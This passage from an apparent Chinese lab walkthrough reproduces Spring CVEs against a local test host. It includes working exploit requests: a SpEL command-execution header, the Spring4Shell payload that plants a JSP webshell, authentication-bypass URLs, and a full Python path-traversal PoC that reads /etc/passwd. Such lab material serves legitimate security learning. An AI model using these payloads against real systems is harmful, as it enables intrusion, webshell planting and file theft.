<strong>③ 查看执行结果</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>GET</span><span> /actuator/gateway/routes/hacktest </span><span>HTTP</span><span>/</span><span>1.1</span></div></div><div><div><div>2</div></div><div><span>Host</span><span>:</span><span> </span><span>192.168.197.88:8080</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>响应中会包含 <code>id</code> 命令的执行结果。
<img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020261010163324.C8aBxsto_ZmogiU.webp" />
<strong>④ 清理现场（删除路由）</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>DELETE</span><span> /actuator/gateway/routes/hacktest </span><span>HTTP</span><span>/</span><span>1.1</span></div></div><div><div><div>2</div></div><div><span>Host</span><span>:</span><span> </span><span>192.168.197.88:8080</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>再次发送 <code>POST /actuator/gateway/refresh</code> 刷新路由即可。
<img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020261010163403.DHCYkjre_Z1ON2GS.webp" /></p><p>后续再将添加恶意路由中的命令改为反弹shell即可，这里不再演示。</p></section><section><h3>7. CVE-2022-22963（Spring Cloud Function SpEL 注入）<a href="#7-cve-2022-22963spring-cloud-function-spel-注入"><span>#</span></a></h3><p>Spring Cloud Function 3.2.2 中，<code>spring.cloud.function.routing-expression</code> 请求头中包含的 SpEL 表达式会被执行。</p><p><strong>① 发送恶意请求</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>POST</span><span> /functionRouter </span><span>HTTP</span><span>/</span><span>1.1</span></div></div><div><div><div>2</div></div><div><span>Host</span><span>:</span><span> </span><span>192.168.197.88:8080</span></div></div><div><div><div>3</div></div><div><span>spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")</span></div></div><div><div><div>4</div></div><div><span>Content-Type</span><span>:</span><span> </span><span>text/plain</span></div></div><div><div><div>5</div></div><div><span>Content-Length</span><span>:</span><span> </span><span>4</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span>test</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020261010194037.DjnALkfv_Z1hE69a.webp" />
<strong>② 验证结果</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>docker compose exec spring bash</span></div></div><div><div><div>2</div></div><div><span>ls -l /tmp/success</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><img alt="" loading="lazy" width="1564" height="917" src="/_astro/Pasted%20image%2020261010194112.DZF2QZVs_BXtWI.webp" />
将 <code>touch /tmp/success</code> 替换为反弹 Shell 命令即可获取 Shell，这里不再演示。</p></section><section><h3>8. CVE-2022-22965（Spring4Shell 数据绑定 RCE）<a href="#8-cve-2022-22965spring4shell-数据绑定-rce"><span>#</span></a></h3><p>在 JDK 9+ 上运行的 Spring MVC 应用，若以 WAR 包形式部署在 Tomcat 中，攻击者可通过数据绑定修改 Tomcat 日志配置，写入 JSP Webshell。</p><p>服务启动后，访问 <code>http://192.168.197.88:8080/?name=Bob&amp;age=25</code> 即可看到一个演示页面。
<img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020261010215805.Bvvb0yjB_1OXgIp.webp" /></p><p><strong>① 修改 Tomcat 日志配置</strong></p><p>发送以下 GET 请求：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>GET</span><span> /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&amp;class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&amp;class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&amp;class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&amp;class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= </span><span>HTTP</span><span>/</span><span>1.1</span></div></div><div><div><div>2</div></div><div><span>Host</span><span>:</span><span> </span><span>192.168.197.88:8080</span></div></div><div><div><div>3</div></div><div><span>suffix</span><span>:</span><span> </span><span>%&gt;//</span></div></div><div><div><div>4</div></div><div><span>c1</span><span>:</span><span> </span><span>Runtime</span></div></div><div><div><div>5</div></div><div><span>c2</span><span>:</span><span> </span><span>&lt;%</span></div></div><div><div><div>6</div></div><div><span>DNT</span><span>:</span><span> </span><span>1</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020261010221059.BXpV_mD5_Zp4CS2.webp" />
<strong>② 访问 Webshell</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>http://192.168.197.88:8080/tomcatwar.jsp?pwd=j&amp;cmd=id</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020261010221121.DurHWNCA_Z2vWQyv.webp" />
<strong>③ 清理配置</strong></p><p>利用完成后，必须将 pattern 设置为空，否则每次请求都会写入新的恶意代码在 JSP Webshell 中，导致这个文件变得很大，发送如下数据包将其设置为空：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>GET</span><span> /?class.module.classLoader.resources.context.parent.pipeline.first.pattern= </span><span>HTTP</span><span>/</span><span>1.1</span></div></div><div><div><div>2</div></div><div><span>Host</span><span>:</span><span> </span><span>192.168.197.88:8080</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020261010221209.M3k458T1_Z3NYzB.webp" />
将 <code>cmd=id</code> 替换为反弹 Shell 命令即可获取 Shell，后续不再演示。</p><blockquote><p><strong>注意</strong>：该漏洞会修改目标服务器配置，实际测试中可能导致目标崩溃（需要重启才能恢复），请谨慎操作。</p></blockquote></section><section><h3>9. CVE-2022-22978（Spring Security 认证绕过）<a href="#9-cve-2022-22978spring-security-认证绕过"><span>#</span></a></h3><p>Spring Security 用于在 Spring 框架中提供安全认证功能。在 Spring Security 5.5.6、5.6.3 及更早的不受支持版本中，使用带有 <code>.</code> 的正则表达式的 RegexRequestMatcher 的应用程序可能存在认证绕过漏洞。</p><p><strong>① 正常访问被拒绝</strong></p><p>访问 <code>http://192.168.197.88:8080/admin/index</code>，可以看到管理页面访问被阻止（403 Forbidden）。
<img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020261010222410.C2CcVET3_Z1PDIui.webp" />
<strong>② 绕过认证</strong></p><p>访问以下 URL 即可绕过认证，成功访问管理页面：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>http://192.168.197.88:8080/admin/%0aindex</span></div></div><div><div><div>2</div></div><div><span>http://192.168.197.88:8080/admin/%0dindex</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><code>%0a</code> 和 <code>%0d</code> 是 URL 编码中的两个特殊字符：</p>

<table><thead><tr><th>编码</th><th>字符</th><th>ASCII 码</th><th>含义</th></tr></thead><tbody><tr><td><code>%0a</code></td><td><code>\n</code></td><td>10</td><td>换行符（Line Feed，LF）</td></tr><tr><td><code>%0d</code></td><td><code>\r</code></td><td>13</td><td>回车符（Carriage Return，CR）</td></tr></tbody></table><p><img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020261010223545.I3se7K-5_ZLAIN4.webp" /></p><p><strong>注意：这个漏洞不能直接反弹 Shell。</strong> 这个漏洞是认证绕过（Authorization Bypass），不是远程代码执行（RCE）。它只能让你绕过权限检查，访问原本需要登录才能访问的页面或接口，但并不能直接执行系统命令。</p><p><strong>反弹 Shell 需要 RCE</strong>：必须能在服务器上执行系统命令（例如调用 Runtime.exec()、上传 Webshell 等）。  CVE-2022-22978 本身不提供任何命令执行能力，所以无法直接弹 Shell。</p><p><strong>如果想拿 Shell，需要结合其他利用点，例如：</strong></p><ul>
<li>后台有<strong>文件上传</strong>功能 → 上传 JSP Webshell</li>
<li>后台有<strong>命令执行</strong>功能 → 直接执行反弹 Shell 命令</li>
<li>后台有<strong>反序列化</strong>接口 → 触发反序列化 RCE</li>
</ul></section><section><h3>10. CVE-2025-41242（Spring + Jetty 路径穿越）<a href="#10-cve-2025-41242spring--jetty-路径穿越"><span>#</span></a></h3><p>Spring 框架的 StringUtils.uriDecode 存在 “Ghost Bits” 缺陷，高位 Unicode 字符的低 8 位被截断为 ASCII 字符，导致安全检查被绕过。</p><p>例如 <code>阮(U+962E)→0x2E='.'</code>、<code>严(U+4E25)→0x25='%'</code>、<code>灵(U+7075)→0x75='u'</code>、<code>丰(U+4E30)→0x30='0'</code>、<code>甲(U+7532)→0x32='2'</code>、<code>来(U+6765)→0x65='e'</code>，于是攻击者构造的字符串 <code>阮严灵丰丰甲来</code> 被静默地转换成 ASCII 字符串 <code>.%u002e</code>。</p><p>而 Jetty 在后续处理时又将 <code>%u002e</code> 解码为 <code>.</code>，最终实现路径穿越。</p><p><strong>① 漏洞触发条件</strong></p><ul>
<li>必须以 <code>阮严灵丰丰甲来</code> 的<strong>原始 UTF-8 字节</strong>直送服务端，不能预先 percent-encoding（percent-encoding 就是 URL 编码，也叫百分号编码）。</li>
<li>目标文件名中至少有一个字符做 percent-encoding（如 <code>passwd</code> 写成 <code>passw%64</code>），否则 Spring 的路径匹配会提前短路，根本不会调用到那段有问题的解码逻辑。。</li>
<li>浏览器、curl、Burp Suite 等工具会自动规范化 URL，无法直接复现，因为它们在发送请求前会对 URL 路径做规范化处理，把高位 Unicode 字符自动编码为 ASCII（变成 <code>%E9%98%AE...</code> 或 <code>.%u002e</code>），从而破坏漏洞触发条件。要复现，必须使用允许逐字节构造并发送原始 HTTP 请求的工具。。</li>
</ul><p><strong>② 方式一：使用 Python socket 脚本</strong></p><p>目录下提供了 <code>poc.py</code>，它会将原始 UTF-8 字节直接写入 socket，绕过 URL 规范化：</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>#!/usr/bin/env python3</span></div></div><div><div><div>2</div></div><div><span>"""</span></div></div><div><div><div>3</div></div><div><span>PoC for CVE-2025-41242: Spring Framework path traversal via Jetty URI</span></div></div><div><div><div>4</div></div><div><span>parsing inconsistency on embedded Jetty.</span></div></div><div><div><div>5</div></div><div><span>"""</span></div></div><div><div><div>6</div></div><div><span>from</span><span> </span><span>__future__</span><span> </span><span>import</span><span> annotations</span></div></div><div><div><div>7</div></div><div><span>import</span><span> argparse</span></div></div><div><div><div>8</div></div><div><span>import</span><span> socket</span></div></div><div><div><div>9</div></div><div><span>import</span><span> ssl</span></div></div><div><div><div>10</div></div><div><span>import</span><span> sys</span></div></div><div><div><div>11</div></div><div><span>from</span><span> urllib.parse </span><span>import</span><span> urlparse</span></div></div><div><div><div>12</div></div><div><span><span>GHOST_BITS_SEG</span><span> </span><span>=</span><span> </span></span><span>'阮严灵丰丰甲来'</span><span><span>.</span><span>encode</span><span>(</span></span><span>'utf-8'</span><span>)</span></div></div><div><div><div>13</div></div><div><span><span>DEFAULT_PORTS</span><span> </span><span>=</span><span> {</span></span><span>'http'</span><span>: </span><span>80</span><span>, </span><span>'https'</span><span>: </span><span>443</span><span>}</span></div></div><div><div><div>14</div></div><div>
</div></div><div><div><div>15</div></div><div><span>def</span><span> </span><span>encode_target_path</span><span>(</span><span>file_path</span><span>:</span><span> </span><span>str</span><span>) -&gt; </span><span>bytes</span><span>:</span></div></div><div><div><div>16</div></div><div><span>    </span><span>"""Strip the leading slash and percent-encode the last character.</span></div></div><div><div><div>17</div></div><div><span><span>    </span></span><span>Spring's path matcher short-circuits when no character is percent-encoded,</span></div></div><div><div><div>18</div></div><div><span><span>    </span></span><span>so at least one byte of the target filename must be encoded for the buggy</span></div></div><div><div><div>19</div></div><div><span><span>    </span></span><span>decoder to fire (e.g. 'passwd' -&gt; 'passw%64').</span></div></div><div><div><div>20</div></div><div><span><span>    </span></span><span>"""</span></div></div><div><div><div>21</div></div><div><span><span>    </span></span><span>path </span><span>=</span><span> file_path.</span><span>lstrip</span><span>(</span><span>'/'</span><span>)</span></div></div><div><div><div>22</div></div><div><span>    </span><span>if</span><span> </span><span>not</span><span> path:</span></div></div><div><div><div>23</div></div><div><span>        </span><span>raise</span><span> </span><span>ValueError</span><span>(</span><span>'file path must not be empty'</span><span>)</span></div></div><div><div><div>24</div></div><div><span><span>    </span></span><span>last </span><span>=</span><span> path[</span><span>-</span><span>1</span><span>]</span></div></div><div><div><div>25</div></div><div><span>    </span><span>if</span><span> </span><span>not</span><span><span> last.</span><span>isascii</span><span>():</span></span></div></div><div><div><div>26</div></div><div><span>        </span><span>raise</span><span> </span><span>ValueError</span><span>(</span><span>'last character of the file path must be ASCII'</span><span>)</span></div></div><div><div><div>27</div></div><div><span>    </span><span>return</span><span><span> path[:</span><span>-</span></span><span>1</span><span><span>].</span><span>encode</span><span>(</span></span><span>'utf-8'</span><span><span>) </span><span>+</span><span> (</span></span><span>'</span><span>%%%02x</span><span>'</span><span><span> </span><span>%</span><span> </span></span><span>ord</span><span><span>(last)).</span><span>encode</span><span>()</span></span></div></div><div><div><div>28</div></div><div>
</div></div><div><div><div>29</div></div><div><span>def</span><span> </span><span>parse_target</span><span>(</span><span>url</span><span>:</span><span> </span><span>str</span><span>) -&gt; tuple[</span><span>str</span><span>, </span><span>str</span><span>, </span><span>int</span><span>]:</span></div></div><div><div><div>30</div></div><div><span>    </span><span>if</span><span> </span><span>'://'</span><span> </span><span>not</span><span> </span><span>in</span><span> url:</span></div></div><div><div><div>31</div></div><div><span><span>        </span></span><span>url </span><span>=</span><span> </span><span>'http://'</span><span><span> </span><span>+</span><span> url</span></span></div></div><div><div><div>32</div></div><div><span><span>    </span></span><span>parsed </span><span>=</span><span> </span><span>urlparse</span><span>(url)</span></div></div><div><div><div>33</div></div><div><span>    </span><span>if</span><span> parsed.scheme </span><span>not</span><span> </span><span>in</span><span><span> </span><span>DEFAULT_PORTS</span><span>:</span></span></div></div><div><div><div>34</div></div><div><span>        </span><span>raise</span><span> </span><span>ValueError</span><span>(</span></div></div><div><div><div>35</div></div><div><span>            </span><span>f</span><span>'only http/https are supported (got </span><span>{</span><span>parsed.scheme</span><span>!r</span><span>}</span><span>)'</span></div></div><div><div><div>36</div></div><div><span><span>        </span></span><span>)</span></div></div><div><div><div>37</div></div><div><span>    </span><span>if</span><span> </span><span>not</span><span> parsed.hostname:</span></div></div><div><div><div>38</div></div><div><span>        </span><span>raise</span><span> </span><span>ValueError</span><span>(</span><span>f</span><span>'cannot parse host from </span><span>{</span><span>url</span><span>!r</span><span>}</span><span>'</span><span>)</span></div></div><div><div><div>39</div></div><div><span><span>    </span></span><span>port </span><span>=</span><span> parsed.port </span><span>or</span><span><span> </span><span>DEFAULT_PORTS</span><span>[parsed.scheme]</span></span></div></div><div><div><div>40</div></div><div><span>    </span><span>return</span><span> parsed.scheme, parsed.hostname, port</span></div></div><div><div><div>41</div></div><div>
</div></div><div><div><div>42</div></div><div><span>def</span><span> </span><span>build_request</span><span>(</span><span>host</span><span>:</span><span> </span><span>str</span><span>,</span><span><span> </span><span>port</span></span><span>:</span><span> </span><span>int</span><span>,</span><span><span> </span><span>file_path</span></span><span>:</span><span> </span><span>str</span><span>) -&gt; </span><span>bytes</span><span>:</span></div></div><div><div><div>43</div></div><div><span><span>    </span></span><span>encoded_target </span><span>=</span><span> </span><span>encode_target_path</span><span>(file_path)</span></div></div><div><div><div>44</div></div><div><span><span>    </span></span><span>path </span><span>=</span><span> </span><span>b</span><span>'/'</span><span><span> </span><span>+</span><span> (</span><span>GHOST_BITS_SEG</span><span> </span><span>+</span><span> </span></span><span>b</span><span>'/'</span><span><span>) </span><span>*</span><span> </span></span><span>7</span><span><span> </span><span>+</span><span> encoded_target</span></span></div></div><div><div><div>45</div></div><div><span><span>    </span></span><span>host_header </span><span>=</span><span> </span><span>f</span><span>'</span><span>{</span><span>host</span><span>}</span><span>:</span><span>{</span><span>port</span><span>}</span><span>'</span><span><span>.</span><span>encode</span><span>()</span></span></div></div><div><div><div>46</div></div><div><span>    </span><span>return</span><span> (</span></div></div><div><div><div>47</div></div><div><span>        </span><span>b</span><span>'GET '</span><span><span> </span><span>+</span><span> path </span><span>+</span><span> </span></span><span>b</span><span>' HTTP/1.1</span><span>\r\n</span><span>'</span></div></div><div><div><div>48</div></div><div><span>        </span><span>b</span><span>'Host: '</span><span><span> </span><span>+</span><span> host_header </span><span>+</span><span> </span></span><span>b</span><span>'</span><span>\r\n</span><span>'</span></div></div><div><div><div>49</div></div><div><span>        </span><span>b</span><span>'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36'</span><span><span> </span><span>+</span><span> </span></span><span>b</span><span>'</span><span>\r\n</span><span>'</span></div></div><div><div><div>50</div></div><div><span>        </span><span>b</span><span>'Connection: close</span><span>\r\n\r\n</span><span>'</span></div></div><div><div><div>51</div></div><div><span><span>    </span></span><span>)</span></div></div><div><div><div>52</div></div><div>
</div></div><div><div><div>53</div></div><div><span>def</span><span> </span><span>send</span><span>(</span></div></div><div><div><div>54</div></div><div><span><span>    </span></span><span>scheme</span><span>:</span><span> </span><span>str</span><span>,</span></div></div><div><div><div>55</div></div><div><span><span>    </span></span><span>host</span><span>:</span><span> </span><span>str</span><span>,</span></div></div><div><div><div>56</div></div><div><span><span>    </span></span><span>port</span><span>:</span><span> </span><span>int</span><span>,</span></div></div><div><div><div>57</div></div><div><span><span>    </span></span><span>request</span><span>:</span><span> </span><span>bytes</span><span>,</span></div></div><div><div><div>58</div></div><div><span><span>    </span></span><span>timeout</span><span>:</span><span> </span><span>float</span><span>,</span></div></div><div><div><div>59</div></div><div><span><span>    </span></span><span>insecure</span><span>:</span><span> </span><span>bool</span><span>,</span></div></div><div><div><div>60</div></div><div><span>) -&gt; </span><span>bytes</span><span>:</span></div></div><div><div><div>61</div></div><div><span><span>    </span></span><span>sock </span><span>=</span><span> socket.</span><span>create_connection</span><span>((host, port), </span><span>timeout</span><span><span>=</span><span>timeout)</span></span></div></div><div><div><div>62</div></div><div><span>    </span><span>if</span><span><span> scheme </span><span>==</span><span> </span></span><span>'https'</span><span>:</span></div></div><div><div><div>63</div></div><div><span><span>        </span></span><span>ctx </span><span>=</span><span> ssl.</span><span>create_default_context</span><span>()</span></div></div><div><div><div>64</div></div><div><span>        </span><span>if</span><span> insecure:</span></div></div><div><div><div>65</div></div><div><span><span>            </span></span><span>ctx.check_hostname </span><span>=</span><span> </span><span>False</span></div></div><div><div><div>66</div></div><div><span><span>            </span></span><span>ctx.verify_mode </span><span>=</span><span> ssl.</span><span>CERT_NONE</span></div></div><div><div><div>67</div></div><div><span><span>        </span></span><span>sock </span><span>=</span><span> ctx.</span><span>wrap_socket</span><span>(sock, </span><span>server_hostname</span><span><span>=</span><span>host)</span></span></div></div><div><div><div>68</div></div><div><span>    </span><span>with</span><span> sock:</span></div></div><div><div><div>69</div></div><div><span><span>        </span></span><span>sock.</span><span>sendall</span><span>(request)</span></div></div><div><div><div>70</div></div><div><span><span>        </span></span><span>chunks </span><span>=</span><span> []</span></div></div><div><div><div>71</div></div><div><span>        </span><span>while</span><span> </span><span>True</span><span>:</span></div></div><div><div><div>72</div></div><div><span><span>            </span></span><span>chunk </span><span>=</span><span> sock.</span><span>recv</span><span>(</span><span>4096</span><span>)</span></div></div><div><div><div>73</div></div><div><span>            </span><span>if</span><span> </span><span>not</span><span> chunk:</span></div></div><div><div><div>74</div></div><div><span>                </span><span>break</span></div></div><div><div><div>75</div></div><div><span><span>            </span></span><span>chunks.</span><span>append</span><span>(chunk)</span></div></div><div><div><div>76</div></div><div><span>    </span><span>return</span><span> </span><span>b</span><span>''</span><span><span>.</span><span>join</span><span>(chunks)</span></span></div></div><div><div><div>77</div></div><div>
</div></div><div><div><div>78</div></div><div><span>def</span><span> </span><span>main</span><span>() -&gt; </span><span>int</span><span>:</span></div></div><div><div><div>79</div></div><div><span><span>    </span></span><span>parser </span><span>=</span><span> argparse.</span><span>ArgumentParser</span><span>(</span></div></div><div><div><div>80</div></div><div><span>        </span><span>description</span><span><span>=</span><span>(</span></span></div></div><div><div><div>81</div></div><div><span>            </span><span>'PoC for CVE-2025-41242: Spring Framework path traversal on '</span></div></div><div><div><div>82</div></div><div><span>            </span><span>'embedded Jetty. Reads an arbitrary file from the target server.'</span></div></div><div><div><div>83</div></div><div><span><span>        </span></span><span>),</span></div></div><div><div><div>84</div></div><div><span>        </span><span>epilog</span><span>=</span><span>'example: python poc.py http://192.168.1.160:8080 -f /etc/passwd'</span><span>,</span></div></div><div><div><div>85</div></div><div><span><span>    </span></span><span>)</span></div></div><div><div><div>86</div></div><div><span><span>    </span></span><span>parser.</span><span>add_argument</span><span>(</span></div></div><div><div><div>87</div></div><div><span>        </span><span>'target'</span><span>,</span></div></div><div><div><div>88</div></div><div><span>        </span><span>help</span><span>=</span><span>'target URL or host:port, e.g. http://192.168.1.160:8080'</span><span>,</span></div></div><div><div><div>89</div></div><div><span><span>    </span></span><span>)</span></div></div><div><div><div>90</div></div><div><span><span>    </span></span><span>parser.</span><span>add_argument</span><span>(</span></div></div><div><div><div>91</div></div><div><span>        </span><span>'-f'</span><span>, </span><span>'--file'</span><span>,</span></div></div><div><div><div>92</div></div><div><span>        </span><span>default</span><span>=</span><span>'/etc/passwd'</span><span>,</span></div></div><div><div><div>93</div></div><div><span>        </span><span>help</span><span>=</span><span>'absolute path of the file to read (default: /etc/passwd)'</span><span>,</span></div></div><div><div><div>94</div></div><div><span><span>    </span></span><span>)</span></div></div><div><div><div>95</div></div><div><span><span>    </span></span><span>parser.</span><span>add_argument</span><span>(</span></div></div><div><div><div>96</div></div><div><span>        </span><span>'--timeout'</span><span>, </span><span>type</span><span>=</span><span>float</span><span>, </span><span>default</span><span>=</span><span>10.0</span><span>,</span></div></div><div><div><div>97</div></div><div><span>        </span><span>help</span><span>=</span><span>'socket timeout in seconds (default: 10)'</span><span>,</span></div></div><div><div><div>98</div></div><div><span><span>    </span></span><span>)</span></div></div><div><div><div>99</div></div><div><span><span>    </span></span><span>parser.</span><span>add_argument</span><span>(</span></div></div><div><div><div>100</div></div><div><span>        </span><span>'-k'</span><span>, </span><span>'--insecure'</span><span>, </span><span>action</span><span>=</span><span>'store_true'</span><span>,</span></div></div><div><div><div>101</div></div><div><span>        </span><span>help</span><span>=</span><span>'skip TLS certificate verification when using https'</span><span>,</span></div></div><div><div><div>102</div></div><div><span><span>    </span></span><span>)</span></div></div><div><div><div>103</div></div><div><span><span>    </span></span><span>args </span><span>=</span><span> parser.</span><span>parse_args</span><span>()</span></div></div><div><div><div>104</div></div><div><span>    </span><span>try</span><span>:</span></div></div><div><div><div>105</div></div><div><span><span>        </span></span><span>scheme, host, port </span><span>=</span><span> </span><span>parse_target</span><span>(args.target)</span></div></div><div><div><div>106</div></div><div><span><span>        </span></span><span>request </span><span>=</span><span> </span><span>build_request</span><span>(host, port, args.file)</span></div></div><div><div><div>107</div></div><div><span>    </span><span>except</span><span> </span><span>ValueError</span><span> </span><span>as</span><span> e:</span></div></div><div><div><div>108</div></div><div><span>        </span><span>print</span><span>(</span><span>f</span><span>'error: </span><span>{</span><span>e</span><span>}</span><span>'</span><span>, </span><span>file</span><span><span>=</span><span>sys.stderr)</span></span></div></div><div><div><div>109</div></div><div><span>        </span><span>return</span><span> </span><span>2</span></div></div><div><div><div>110</div></div><div><span>    </span><span>try</span><span>:</span></div></div><div><div><div>111</div></div><div><span><span>        </span></span><span>data </span><span>=</span><span> </span><span>send</span><span>(</span></div></div><div><div><div>112</div></div><div><span><span>            </span></span><span>scheme, host, port, request,</span></div></div><div><div><div>113</div></div><div><span>            </span><span>timeout</span><span><span>=</span><span>args.timeout, </span></span><span>insecure</span><span><span>=</span><span>args.insecure,</span></span></div></div><div><div><div>114</div></div><div><span><span>        </span></span><span>)</span></div></div><div><div><div>115</div></div><div><span>    </span><span>except</span><span> </span><span>OSError</span><span> </span><span>as</span><span> e:</span></div></div><div><div><div>116</div></div><div><span>        </span><span>print</span><span>(</span></div></div><div><div><div>117</div></div><div><span>            </span><span>f</span><span>'error: connection to </span><span>{</span><span>scheme</span><span>}</span><span>://</span><span>{</span><span>host</span><span>}</span><span>:</span><span>{</span><span>port</span><span>}</span><span> failed: </span><span>{</span><span>e</span><span>}</span><span>'</span><span>,</span></div></div><div><div><div>118</div></div><div><span>            </span><span>file</span><span><span>=</span><span>sys.stderr,</span></span></div></div><div><div><div>119</div></div><div><span><span>        </span></span><span>)</span></div></div><div><div><div>120</div></div><div><span>        </span><span>return</span><span> </span><span>1</span></div></div><div><div><div>121</div></div><div><span>    </span><span># Send response headers to stderr and the body to stdout, so the body can</span></div></div><div><div><div>122</div></div><div><span>    </span><span># be redirected cleanly: `python poc.py &lt;target&gt; -f /etc/passwd &gt; out`.</span></div></div><div><div><div>123</div></div><div><span><span>    </span></span><span>header, sep, body </span><span>=</span><span> data.</span><span>partition</span><span>(</span><span>b</span><span>'</span><span>\r\n\r\n</span><span>'</span><span>)</span></div></div><div><div><div>124</div></div><div><span><span>    </span></span><span>sys.stderr.buffer.</span><span>write</span><span>(header </span><span>+</span><span> sep)</span></div></div><div><div><div>125</div></div><div><span><span>    </span></span><span>sys.stderr.</span><span>flush</span><span>()</span></div></div><div><div><div>126</div></div><div><span><span>    </span></span><span>sys.stdout.buffer.</span><span>write</span><span>(body)</span></div></div><div><div><div>127</div></div><div><span>    </span><span>return</span><span> </span><span>0</span></div></div><div><div><div>128</div></div><div>
</div></div><div><div><div>129</div></div><div><span>if</span><span> </span><span>__name__</span><span><span> </span><span>==</span><span> </span></span><span>'__main__'</span><span>:</span></div></div><div><div><div>130</div></div><div><span>    </span><span>raise</span><span> </span><span>SystemExit</span><span><span>(</span><span>main</span><span>())</span></span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>该POC脚本默认读取靶机环境中的 <code>/etc/passwd</code>：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>python3 poc.py http://192.168.197.88:8080</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><img alt="" loading="lazy" width="1920" height="1080" src="/_astro/Pasted%20image%2020261010230414.C04XTgGZ_Z2hkN6A.webp" />
可以指定读取其他文件：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>python3 poc.py http://192.168.197.88:8080 -f /etc/hosts</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><img alt="" loading="lazy" width="1564" height="913" src="/_astro/Pasted%20image%2020261010230429.B5eetwq8_ZK1LEC.webp" />
HTTPS 目标加 <code>-k</code> 跳过证书校验（这个靶场没开HTTPS服务）：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>python3 poc.py https://192.168.197.88:8443 -f /etc/passwd -k</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>③ 方式二：使用 Yakit 原始数据包</strong></p><p>在 Yakit 的 HTTP Fuzzer 中粘贴以下数据包：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>GET /阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/etc/passw%64 HTTP/1.1</span></div></div><div><div><div>2</div></div><div><span>Host: 192.168.197.88:8080</span></div></div><div><div><div>3</div></div><div><span>Connection: close</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>发送后即可看到 <code>/etc/passwd</code> 内容。
<img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020261010231133.CYhTPhjo_sUVIS.webp" /></p></section></section>
<section><h2>三、漏洞原理总结<a href="#三漏洞原理总结"><span>#</span></a></h2>

<table><thead><tr><th>漏洞编号</th><th>CVE</th><th>注入点</th><th>利用方式</th></tr></thead><tbody><tr><td>CVE-2016-4977</td><td>CVE-2016-4977</td><td>OAuth2 错误参数</td><td><code>response_type</code> 参数 SpEL 注入</td></tr><tr><td>CVE-2017-4971</td><td>CVE-2017-4971</td><td>WebFlow 数据绑定 field</td><td>表单字段 SpEL 注入</td></tr><tr><td>CVE-2017-8046</td><td>CVE-2017-8046</td><td>JSON Patch path</td><td>PATCH 请求 SpEL 注入</td></tr><tr><td>CVE-2018-1270</td><td>CVE-2018-1270</td><td>STOMP selector</td><td>消息订阅 SpEL 注入</td></tr><tr><td>CVE-2018-1273</td><td>CVE-2018-1273</td><td>注册参数绑定</td><td><code>username[...]</code> SpEL 注入</td></tr><tr><td>CVE-2022-22947</td><td>CVE-2022-22947</td><td>Actuator 路由配置</td><td>添加路由触发 SpEL 执行</td></tr><tr><td>CVE-2022-22963</td><td>CVE-2022-22963</td><td>HTTP 请求头</td><td><code>routing-expression</code> 头 SpEL 注入</td></tr><tr><td>CVE-2022-22965</td><td>CVE-2022-22965</td><td>数据绑定</td><td><code>class.module.classLoader</code> 链篡改 Tomcat 日志</td></tr><tr><td>CVE-2022-22978</td><td>CVE-2022-22978</td><td>正则表达式</td><td><code>.</code> 